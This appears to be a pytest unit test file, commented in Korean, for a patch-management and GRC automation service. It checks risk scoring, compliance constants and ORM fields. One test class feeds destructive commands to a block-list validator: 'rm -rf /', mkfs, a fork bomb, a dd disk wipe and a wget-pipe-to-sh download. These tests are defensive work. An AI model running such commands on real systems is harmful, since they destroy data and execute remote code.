283 lines
10 KiB
Python
283 lines
10 KiB
Python
"""
|
||
단위 테스트 — patch_management / grc_automation 라우터
|
||
|
||
커버리지:
|
||
- 위험 명령어 패턴 차단
|
||
- 리스크 점수 계산 및 레벨 결정
|
||
- PatchPlan ORM 모델 기본 필드
|
||
- GRCPolicy ORM 모델 기본 필드
|
||
- RiskItem ORM 모델 기본 필드
|
||
- 감사 보고서 권고 사항 생성
|
||
- 컴플라이언스 프레임워크 상수 확인
|
||
"""
|
||
import sys
|
||
import os
|
||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
|
||
|
||
import pytest
|
||
|
||
|
||
# ── patch_management 유틸리티 테스트 ─────────────────────────────────────────
|
||
|
||
class TestDangerousPatternValidation:
|
||
"""위험 명령어 차단 — 보안 불변 규칙 검증."""
|
||
|
||
def _validate(self, cmd: str) -> None:
|
||
from routers.patch_management import _validate_cmd
|
||
_validate_cmd(cmd)
|
||
|
||
def test_safe_apt_command_passes(self):
|
||
# 정상 패치 명령어는 통과
|
||
self._validate("apt-get update && apt-get upgrade -y")
|
||
|
||
def test_safe_yum_command_passes(self):
|
||
self._validate("yum update -y")
|
||
|
||
def test_safe_systemctl_passes(self):
|
||
self._validate("systemctl restart nginx")
|
||
|
||
def test_rm_rf_root_blocked(self):
|
||
from fastapi import HTTPException
|
||
with pytest.raises(HTTPException) as exc_info:
|
||
self._validate("rm -rf /")
|
||
assert exc_info.value.status_code == 400
|
||
|
||
def test_mkfs_blocked(self):
|
||
from fastapi import HTTPException
|
||
with pytest.raises(HTTPException):
|
||
self._validate("mkfs.ext4 /dev/sda1")
|
||
|
||
def test_fork_bomb_blocked(self):
|
||
from fastapi import HTTPException
|
||
with pytest.raises(HTTPException):
|
||
self._validate(":(){ :|:& };:")
|
||
|
||
def test_shutdown_blocked(self):
|
||
from fastapi import HTTPException
|
||
with pytest.raises(HTTPException):
|
||
self._validate("shutdown -h now")
|
||
|
||
def test_wget_pipe_sh_blocked(self):
|
||
from fastapi import HTTPException
|
||
with pytest.raises(HTTPException):
|
||
self._validate("wget http://example.com/malware.sh | sh")
|
||
|
||
def test_dd_if_blocked(self):
|
||
from fastapi import HTTPException
|
||
with pytest.raises(HTTPException):
|
||
self._validate("dd if=/dev/zero of=/dev/sda")
|
||
|
||
|
||
class TestSeverityEstimation:
|
||
"""CVE ID 기반 심각도 추정."""
|
||
|
||
def _estimate(self, cve_id: str) -> str:
|
||
from routers.patch_management import _estimate_severity
|
||
return _estimate_severity(cve_id)
|
||
|
||
def test_critical_keyword(self):
|
||
assert self._estimate("CVE-2024-CRITICAL-0001") == "CRITICAL"
|
||
|
||
def test_high_keyword(self):
|
||
assert self._estimate("CVE-2024-HIGH-1234") == "HIGH"
|
||
|
||
def test_low_keyword(self):
|
||
assert self._estimate("CVE-2024-LOW-5678") == "LOW"
|
||
|
||
def test_default_medium(self):
|
||
assert self._estimate("CVE-2024-12345") == "MEDIUM"
|
||
|
||
def test_auto_scan_is_medium(self):
|
||
assert self._estimate("CVE-SCAN-AUTO") == "MEDIUM"
|
||
|
||
|
||
# ── grc_automation 유틸리티 테스트 ────────────────────────────────────────────
|
||
|
||
class TestRiskLevelCalculation:
|
||
"""리스크 점수 → 레벨 결정 (5×5 매트릭스)."""
|
||
|
||
def _level(self, score: float) -> str:
|
||
from routers.grc_automation import _calc_risk_level
|
||
return _calc_risk_level(score)
|
||
|
||
def test_critical_boundary(self):
|
||
assert self._level(20.0) == "CRITICAL"
|
||
assert self._level(25.0) == "CRITICAL" # 5*5
|
||
|
||
def test_high_boundary(self):
|
||
assert self._level(12.0) == "HIGH"
|
||
assert self._level(19.9) == "HIGH"
|
||
|
||
def test_medium_boundary(self):
|
||
assert self._level(6.0) == "MEDIUM"
|
||
assert self._level(11.9) == "MEDIUM"
|
||
|
||
def test_low_boundary(self):
|
||
assert self._level(1.0) == "LOW"
|
||
assert self._level(5.9) == "LOW"
|
||
|
||
def test_likelihood_impact_product(self):
|
||
# 5×4 = 20 → CRITICAL
|
||
assert self._level(5 * 4) == "CRITICAL"
|
||
# 3×3 = 9 → MEDIUM
|
||
assert self._level(3 * 3) == "MEDIUM"
|
||
# 2×2 = 4 → LOW
|
||
assert self._level(2 * 2) == "LOW"
|
||
|
||
|
||
class TestComplianceFrameworks:
|
||
"""컴플라이언스 프레임워크 상수 검증."""
|
||
|
||
def test_all_frameworks_present(self):
|
||
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
|
||
for fw in ["CSAP", "ISMS", "ISO27001", "GDPR"]:
|
||
assert fw in _COMPLIANCE_FRAMEWORKS
|
||
|
||
def test_framework_has_required_keys(self):
|
||
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
|
||
for key, val in _COMPLIANCE_FRAMEWORKS.items():
|
||
assert "name" in val, f"{key} 프레임워크에 'name' 키가 없습니다."
|
||
assert "controls" in val, f"{key} 프레임워크에 'controls' 키가 없습니다."
|
||
assert isinstance(val["controls"], int)
|
||
assert val["controls"] > 0
|
||
|
||
def test_csap_control_count(self):
|
||
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
|
||
assert _COMPLIANCE_FRAMEWORKS["CSAP"]["controls"] == 117
|
||
|
||
def test_isms_control_count(self):
|
||
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
|
||
assert _COMPLIANCE_FRAMEWORKS["ISMS"]["controls"] == 102
|
||
|
||
|
||
class TestBuildRecommendations:
|
||
"""감사 권고 사항 자동 생성."""
|
||
|
||
def _recs(self, critical, high, rate):
|
||
from routers.grc_automation import _build_recommendations
|
||
|
||
class _FakeRisk:
|
||
pass
|
||
|
||
c_risks = [_FakeRisk() for _ in range(critical)]
|
||
h_risks = [_FakeRisk() for _ in range(high)]
|
||
return _build_recommendations(c_risks, h_risks, rate)
|
||
|
||
def test_critical_risks_mentioned(self):
|
||
recs = self._recs(critical=3, high=0, rate=90.0)
|
||
assert any("CRITICAL" in r for r in recs)
|
||
assert any("3" in r for r in recs)
|
||
|
||
def test_high_risks_mentioned(self):
|
||
recs = self._recs(critical=0, high=5, rate=90.0)
|
||
assert any("HIGH" in r for r in recs)
|
||
|
||
def test_low_compliance_warning(self):
|
||
recs = self._recs(critical=0, high=0, rate=50.0)
|
||
assert any("60%" in r for r in recs)
|
||
|
||
def test_medium_compliance_warning(self):
|
||
recs = self._recs(critical=0, high=0, rate=70.0)
|
||
assert any("80%" in r for r in recs)
|
||
|
||
def test_good_compliance_positive(self):
|
||
recs = self._recs(critical=0, high=0, rate=95.0)
|
||
assert any("양호" in r for r in recs)
|
||
|
||
def test_always_includes_audit_reminder(self):
|
||
recs = self._recs(critical=0, high=0, rate=100.0)
|
||
assert any("감사" in r for r in recs)
|
||
|
||
def test_no_risks_still_returns_recs(self):
|
||
recs = self._recs(critical=0, high=0, rate=100.0)
|
||
assert len(recs) >= 1
|
||
|
||
|
||
# ── ORM 모델 기본 필드 테스트 ─────────────────────────────────────────────────
|
||
|
||
class TestPatchPlanModel:
|
||
"""PatchPlan ORM 모델이 models.py에 올바르게 정의되었는지 확인."""
|
||
|
||
def test_model_exists(self):
|
||
from models import PatchPlan
|
||
assert PatchPlan.__tablename__ == "tb_patch_plan"
|
||
|
||
def test_required_columns_exist(self):
|
||
from models import PatchPlan
|
||
cols = {c.key for c in PatchPlan.__table__.columns}
|
||
for required in ["id", "cve_id", "severity", "affected_servers",
|
||
"patch_cmd", "rollback_cmd", "status",
|
||
"approved_by", "executed_at", "created_at"]:
|
||
assert required in cols, f"PatchPlan에 '{required}' 컬럼이 없습니다."
|
||
|
||
def test_default_status_is_pending(self):
|
||
from models import PatchPlan
|
||
col = PatchPlan.__table__.columns["status"]
|
||
assert col.default.arg == "pending"
|
||
|
||
def test_default_severity_is_medium(self):
|
||
from models import PatchPlan
|
||
col = PatchPlan.__table__.columns["severity"]
|
||
assert col.default.arg == "MEDIUM"
|
||
|
||
|
||
class TestGRCPolicyModel:
|
||
"""GRCPolicy ORM 모델 검증."""
|
||
|
||
def test_model_exists(self):
|
||
from models import GRCPolicy
|
||
assert GRCPolicy.__tablename__ == "tb_grc_policy"
|
||
|
||
def test_required_columns_exist(self):
|
||
from models import GRCPolicy
|
||
cols = {c.key for c in GRCPolicy.__table__.columns}
|
||
for required in ["id", "title", "category", "content",
|
||
"version", "status", "effective_date", "created_at"]:
|
||
assert required in cols, f"GRCPolicy에 '{required}' 컬럼이 없습니다."
|
||
|
||
def test_default_status_is_draft(self):
|
||
from models import GRCPolicy
|
||
col = GRCPolicy.__table__.columns["status"]
|
||
assert col.default.arg == "draft"
|
||
|
||
def test_default_category_is_security(self):
|
||
from models import GRCPolicy
|
||
col = GRCPolicy.__table__.columns["category"]
|
||
assert col.default.arg == "security"
|
||
|
||
|
||
class TestRiskItemModel:
|
||
"""RiskItem ORM 모델 검증."""
|
||
|
||
def test_model_exists(self):
|
||
from models import RiskItem
|
||
assert RiskItem.__tablename__ == "tb_risk_item"
|
||
|
||
def test_required_columns_exist(self):
|
||
from models import RiskItem
|
||
cols = {c.key for c in RiskItem.__table__.columns}
|
||
for required in ["id", "title", "likelihood", "impact",
|
||
"risk_score", "risk_level", "mitigation",
|
||
"status", "created_at"]:
|
||
assert required in cols, f"RiskItem에 '{required}' 컬럼이 없습니다."
|
||
|
||
def test_default_likelihood_is_3(self):
|
||
from models import RiskItem
|
||
col = RiskItem.__table__.columns["likelihood"]
|
||
assert col.default.arg == 3
|
||
|
||
def test_default_impact_is_3(self):
|
||
from models import RiskItem
|
||
col = RiskItem.__table__.columns["impact"]
|
||
assert col.default.arg == 3
|
||
|
||
def test_default_risk_score_is_9(self):
|
||
from models import RiskItem
|
||
col = RiskItem.__table__.columns["risk_score"]
|
||
assert col.default.arg == 9.0
|
||
|
||
def test_default_status_is_open(self):
|
||
from models import RiskItem
|
||
col = RiskItem.__table__.columns["status"]
|
||
assert col.default.arg == "open"
|